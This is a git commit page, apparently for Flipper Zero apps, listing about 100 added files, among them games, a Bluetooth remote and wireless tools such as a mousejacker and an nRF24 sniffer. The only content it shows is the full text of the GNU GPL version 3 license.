MX 2 лет назад
Родитель
Сommit
dc56fbd761
100 измененных файлов с 15832 добавлено и 0 удалено
  1. 674 0
      non_catalog_apps/bt_hid_kodi/LICENSE
  2. 14 0
      non_catalog_apps/bt_hid_kodi/README.md
  3. 16 0
      non_catalog_apps/bt_hid_kodi/application.fam
  4. BIN
      non_catalog_apps/bt_hid_kodi/assets/Ble_connected_15x15.png
  5. BIN
      non_catalog_apps/bt_hid_kodi/assets/Ble_disconnected_15x15.png
  6. BIN
      non_catalog_apps/bt_hid_kodi/assets/Button_18x18.png
  7. BIN
      non_catalog_apps/bt_hid_kodi/assets/Ok_btn_9x9.png
  8. BIN
      non_catalog_apps/bt_hid_kodi/assets/Ok_btn_pressed_13x13.png
  9. BIN
      non_catalog_apps/bt_hid_kodi/assets/Pin_arrow_down_7x9.png
  10. BIN
      non_catalog_apps/bt_hid_kodi/assets/Pin_arrow_left_9x7.png
  11. BIN
      non_catalog_apps/bt_hid_kodi/assets/Pin_arrow_right_9x7.png
  12. BIN
      non_catalog_apps/bt_hid_kodi/assets/Pin_arrow_up_7x9.png
  13. BIN
      non_catalog_apps/bt_hid_kodi/assets/Pin_back_arrow_10x8.png
  14. BIN
      non_catalog_apps/bt_hid_kodi/assets/Space_65x18.png
  15. 126 0
      non_catalog_apps/bt_hid_kodi/bt_hid.c
  16. 42 0
      non_catalog_apps/bt_hid_kodi/bt_hid.h
  17. BIN
      non_catalog_apps/bt_hid_kodi/bt_remote_10px.png
  18. 243 0
      non_catalog_apps/bt_hid_kodi/views/bt_hid_keynote.c
  19. 13 0
      non_catalog_apps/bt_hid_kodi/views/bt_hid_keynote.h
  20. 191 0
      non_catalog_apps/citybloxx/.clang-format
  21. 52 0
      non_catalog_apps/citybloxx/.gitignore
  22. 21 0
      non_catalog_apps/citybloxx/LICENSE
  23. 2 0
      non_catalog_apps/citybloxx/README.md
  24. 11 0
      non_catalog_apps/citybloxx/application.fam
  25. 98 0
      non_catalog_apps/citybloxx/blocks.c
  26. 17 0
      non_catalog_apps/citybloxx/blocks.h
  27. 299 0
      non_catalog_apps/citybloxx/citybloxx.c
  28. BIN
      non_catalog_apps/citybloxx/icon.png
  29. 69 0
      non_catalog_apps/citybloxx/manipulations.c
  30. 13 0
      non_catalog_apps/citybloxx/manipulations.h
  31. BIN
      non_catalog_apps/citybloxx/screenshots/1.png
  32. 12 0
      non_catalog_apps/citybloxx/types.h
  33. 5 0
      non_catalog_apps/hangman_game/.gitignore
  34. 674 0
      non_catalog_apps/hangman_game/LICENSE
  35. 12 0
      non_catalog_apps/hangman_game/README.md
  36. 14 0
      non_catalog_apps/hangman_game/application.fam
  37. BIN
      non_catalog_apps/hangman_game/catalog/0.png
  38. BIN
      non_catalog_apps/hangman_game/catalog/1.png
  39. BIN
      non_catalog_apps/hangman_game/catalog/2.png
  40. BIN
      non_catalog_apps/hangman_game/catalog/3.png
  41. 8 0
      non_catalog_apps/hangman_game/files/english.bolk
  42. 2479 0
      non_catalog_apps/hangman_game/files/english.dict
  43. 4 0
      non_catalog_apps/hangman_game/files/menu.txt
  44. 8 0
      non_catalog_apps/hangman_game/files/russian.bolk
  45. 1984 0
      non_catalog_apps/hangman_game/files/russian.dict
  46. 4 0
      non_catalog_apps/hangman_game/files_src/convert.sh
  47. BIN
      non_catalog_apps/hangman_game/files_src/russian.ucs2.dict
  48. 14 0
      non_catalog_apps/hangman_game/hangman.c
  49. BIN
      non_catalog_apps/hangman_game/hangman.png
  50. 367 0
      non_catalog_apps/hangman_game/helpers/hangman.c
  51. 82 0
      non_catalog_apps/hangman_game/helpers/hangman.h
  52. 465 0
      non_catalog_apps/hangman_game/helpers/hangman_fonts.h
  53. 87 0
      non_catalog_apps/hangman_game/helpers/hangman_gui.c
  54. 123 0
      non_catalog_apps/hangman_game/helpers/hangman_input.c
  55. 44 0
      non_catalog_apps/hangman_game/helpers/hangman_menu.c
  56. BIN
      non_catalog_apps/hangman_game/images/1.png
  57. BIN
      non_catalog_apps/hangman_game/images/2.png
  58. BIN
      non_catalog_apps/hangman_game/images/3.png
  59. BIN
      non_catalog_apps/hangman_game/images/4.png
  60. BIN
      non_catalog_apps/hangman_game/images/5.png
  61. BIN
      non_catalog_apps/hangman_game/images/6.png
  62. BIN
      non_catalog_apps/hangman_game/images/7.png
  63. BIN
      non_catalog_apps/hangman_game/images/button_ok_7x7.png
  64. 674 0
      non_catalog_apps/mousejacker_ms/LICENSE
  65. 6 0
      non_catalog_apps/mousejacker_ms/NRF24_Mouse_Jacker_icons.h
  66. 14 0
      non_catalog_apps/mousejacker_ms/README.md
  67. 24 0
      non_catalog_apps/mousejacker_ms/application.fam
  68. BIN
      non_catalog_apps/mousejacker_ms/images/badusb_10px.png
  69. BIN
      non_catalog_apps/mousejacker_ms/images/sub1_10px.png
  70. 520 0
      non_catalog_apps/mousejacker_ms/lib/nrf24/nrf24.c
  71. 366 0
      non_catalog_apps/mousejacker_ms/lib/nrf24/nrf24.h
  72. BIN
      non_catalog_apps/mousejacker_ms/mouse_10px.png
  73. 400 0
      non_catalog_apps/mousejacker_ms/mousejacker.c
  74. 394 0
      non_catalog_apps/mousejacker_ms/mousejacker_ducky.c
  75. 45 0
      non_catalog_apps/mousejacker_ms/mousejacker_ducky.h
  76. 674 0
      non_catalog_apps/nrfsniff_ms/LICENSE
  77. 14 0
      non_catalog_apps/nrfsniff_ms/README.md
  78. 20 0
      non_catalog_apps/nrfsniff_ms/application.fam
  79. 520 0
      non_catalog_apps/nrfsniff_ms/lib/nrf24/nrf24.c
  80. 366 0
      non_catalog_apps/nrfsniff_ms/lib/nrf24/nrf24.h
  81. 469 0
      non_catalog_apps/nrfsniff_ms/nrfsniff.c
  82. BIN
      non_catalog_apps/nrfsniff_ms/nrfsniff_10px.png
  83. 1 0
      non_catalog_apps/sd_spi/.gitkeep
  84. 674 0
      non_catalog_apps/sd_spi/LICENSE
  85. 33 0
      non_catalog_apps/sd_spi/README.md
  86. 14 0
      non_catalog_apps/sd_spi/application.fam
  87. 969 0
      non_catalog_apps/sd_spi/sd_spi.c
  88. 204 0
      non_catalog_apps/sd_spi/sd_spi.h
  89. 579 0
      non_catalog_apps/sd_spi/sd_spi_app.c
  90. BIN
      non_catalog_apps/sd_spi/sd_spi_app_10px.png
  91. 34 0
      non_catalog_apps/shapshup/README.md
  92. 13 0
      non_catalog_apps/shapshup/application.fam
  93. 59 0
      non_catalog_apps/shapshup/helpers/gui_top_buttons.c
  94. 25 0
      non_catalog_apps/shapshup/helpers/gui_top_buttons.h
  95. 355 0
      non_catalog_apps/shapshup/helpers/shapshup_files.c
  96. 79 0
      non_catalog_apps/shapshup/helpers/shapshup_files.h
  97. BIN
      non_catalog_apps/shapshup/images/ButtonDown_7x4.png
  98. BIN
      non_catalog_apps/shapshup/images/ButtonUp_7x4.png
  99. BIN
      non_catalog_apps/shapshup/images/DolphinNice_96x59.png
  100. BIN
      non_catalog_apps/shapshup/images/Ok_btn_9x9.png

+ 674 - 0
non_catalog_apps/bt_hid_kodi/LICENSE

@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.  We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors.  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights.  Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received.  You must make sure that they, too, receive
+or can get the source code.  And you must show them these terms so they
+know their rights.
+
+  Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+  For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software.  For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+  Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so.  This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software.  The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable.  Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products.  If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+  Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary.  To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Use with the GNU Affero General Public License.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
